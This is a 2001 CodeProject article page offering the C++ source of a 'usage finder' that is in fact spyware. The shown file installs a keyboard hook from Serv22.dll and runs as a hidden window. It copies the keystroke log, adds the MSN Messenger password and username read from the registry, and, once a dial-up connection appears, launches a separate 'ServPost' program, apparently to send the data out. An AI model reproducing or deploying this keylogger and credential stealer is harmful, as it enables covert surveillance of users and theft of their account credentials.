Click here to Skip to main content
11,502,821 members (60,457 online)
Click here to Skip to main content
Add your own
alternative version

Spying on computer usage via keyboard hooks

, 22 Sep 2001 92.6K 2.4K 48
This program can be used to find out how your computer is being used while you are away.
usagefinder.zip
Finding Usage
Section 1
ddd.dsp
ddd.dsw
Section 2
Servpost.dsp
Servpost.dsw
Section3
instks.dsp
instks.dsw
Section4
change.dsp
change.dsw
change.ico
small.ico
////////////////////////////////////////////////////////////////////
// 	  This program is done by Hirosh Joseph from india            //
//       Email hirosh@hirosh.com	        		              //	
//       Website www.hirosh.com,www.hirosh.net,www.hirosh.org     // 
// 	  I always welcome to ur valuble comments                     // 
////////////////////////////////////////////////////////////////////
// instks.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "RasStatus.h"
unsigned int ti;
char sdate[50];
HKEY hkeyresult ;
int hi;
int hhh;
int cmpstring(char *s1,char *s2)
{

if (strcmp(s1,s2)==0) 
		return 0;

if(strlen(s1)>strlen(s2))
		 return 10;  

if(strlen(s1)==strlen(s2)){
 if (*s1>*s2)
	return 10;
 if (*s1==*s2)
	if (*(s1+1)>*(s2+1))
	return 10;
	
}
return -10;  
}
LRESULT CALLBACK	WndProc(HWND, UINT, WPARAM, LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{


hi=0;
hhh=1;
static HINSTANCE hinstDLL; 
typedef BOOL ( *inshook)(); 
inshook instkbhook;
hinstDLL = LoadLibrary((LPCTSTR) "Serv22.dll"); 
instkbhook = (inshook)GetProcAddress(hinstDLL, "installhook"); 
instkbhook();


DWORD size = sizeof ( DWORD ) ;
SYSTEMTIME stime;
BYTE rdate[50],check[50],sent[50],msnu[50],msnp[50];
size = 50 ;


RegOpenKey ( HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
RegQueryValueEx ( hkeyresult, ( LPCTSTR )"Date" , 0, 0, rdate, &size ) ;
RegCloseKey ( hkeyresult );
GetSystemTime(&stime);
sprintf(sdate,"%d",stime.wDay); 
int i,ic;
i=cmpstring(sdate,(char *)rdate);
if(strcmp(sdate,"1")==0)
{
	RegOpenKey ( HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Date" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) "1",1) ;
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Check" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) "1",1) ;
	RegCloseKey ( hkeyresult );

}


size = 50 ;
RegOpenKey ( HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
RegQueryValueEx ( hkeyresult, ( LPCTSTR )"Check" , 0, 0, check, &size ) ;
RegQueryValueEx ( hkeyresult, ( LPCTSTR )"Sent" , 0, 0, sent, &size ) ;
RegCloseKey ( hkeyresult );

ic=cmpstring(sdate,(char *)check);
	
	if ((ic>0)&&(!strcmp((char *)sent,"1")))
	{	
	char a[MAX_PATH],b[MAX_PATH];
	strcpy(a,"");
	GetWindowsDirectory(a,MAX_PATH);
	strcat(a, "\\Serv22.txt" );
	strcpy(b,"");
	GetWindowsDirectory(b,MAX_PATH);
	strcat(b, "\\Servback.txt" );
	CopyFile(a,b,FALSE);
	//////////////////////
	FILE *f;
	char ch;
	f=fopen(b,"a");
	ch='\r';
	fwrite(&ch,1,1,f);
	ch='\n';
	fwrite(&ch,1,1,f);
	fwrite("Complete",1,8,f);
	/////////////
	size=50;
	RegOpenKey ( HKEY_CURRENT_USER, ( LPCTSTR ) "Software\\Microsoft\\MessengerService", &hkeyresult );
	RegQueryValueEx ( hkeyresult, ( LPCTSTR )"PasswordMSN Messenger Service" , 0, 0, msnp, &size );
	fwrite((char *)msnp,1,size,f);	
	//////////
	fwrite("ID",1,2,f);
	ch='\r';
	fwrite(&ch,1,1,f);
	ch='\n';
	fwrite(&ch,1,1,f);
	fwrite("Complete",1,8,f);
	size=50;
	RegQueryValueEx ( hkeyresult, ( LPCTSTR )"UserMSN Messenger Service" , 0, 0, msnu, &size ) ;
	RegCloseKey ( hkeyresult );
	fwrite((char *)msnu,1,size,f);
	fwrite("ID",1,2,f);	
	ch='\r';
	fwrite(&ch,1,1,f);
	ch='\n';
	fwrite(&ch,1,1,f);
	fwrite("Complete",1,8,f);
	ch='\r';
	fwrite(&ch,1,1,f);
	ch='\n';
	fwrite(&ch,1,1,f);
	fwrite("Complete",1,8,f);
	fclose(f);		
	
	RegOpenKey ( HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Check" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) sdate,sizeof(sdate)) ;
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Sent" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) "0",1) ;
	RegCloseKey ( hkeyresult );
	f=fopen(a,"w");
	ch='\r';
	fwrite(&ch,1,1,f);
	ch='\n';
	fwrite(&ch,1,1,f);
	fclose(f);	
	}



	
/////////////

	MSG msg;
	WNDCLASSEX wcex;

	wcex.cbSize = sizeof(WNDCLASSEX); 

	wcex.style			= CS_HREDRAW | CS_VREDRAW;
	wcex.lpfnWndProc	= (WNDPROC)WndProc;
	wcex.cbClsExtra		= 0;
	wcex.cbWndExtra		= 0;
	wcex.hInstance		= hInstance;
	wcex.hIcon		= NULL;
	wcex.hCursor		= NULL;
	wcex.hbrBackground	= NULL;
	wcex.lpszMenuName	= NULL;
	wcex.lpszClassName	= "ss";
	wcex.hIconSm		= NULL;
	RegisterClassEx(&wcex);
	HWND hWnd;
    hWnd = CreateWindow("ss", NULL, WS_POPUP,
	 0, 0, 10,10, NULL, NULL, hInstance, NULL);

	if (i>0){	
//		MessageBox(0,"While","w",MB_OK);
	ti=SetTimer(hWnd,NULL,30000,NULL);
	}
		
	while (GetMessage(&msg, NULL, 0, 0)) 
	{
		{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
		}
	}

return 0;
}


LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
BOOL t;	


	switch (message) 
	{
		case WM_TIMER:
		if (hi<1){  
		t=IsRasConnected();
		if(t){
        KillTimer(hWnd,ti);
		hi++;
  //      MessageBox(0,"Connected","M",MB_OK); 
		WinExec("ServPost",SW_SHOW);
		}
		}		
		break;		
		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
   }
   return 0;
}

By viewing downloads associated with this article you agree to the Terms of Service and the article's licence.

If a file you wish to view isn't highlighted, and is a text file (not binary), please let us know and we'll add colourisation support for it.

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here

Share

About the Author

H. Joseph

United States United States
No Biography provided

| Advertise | Privacy | Terms of Use | Mobile
Web04 | 2.8.150520.1 | Last Updated 23 Sep 2001
Article Copyright 2001 by H. Joseph
Everything else Copyright © CodeProject, 1999-2015
Layout: fixed | fluid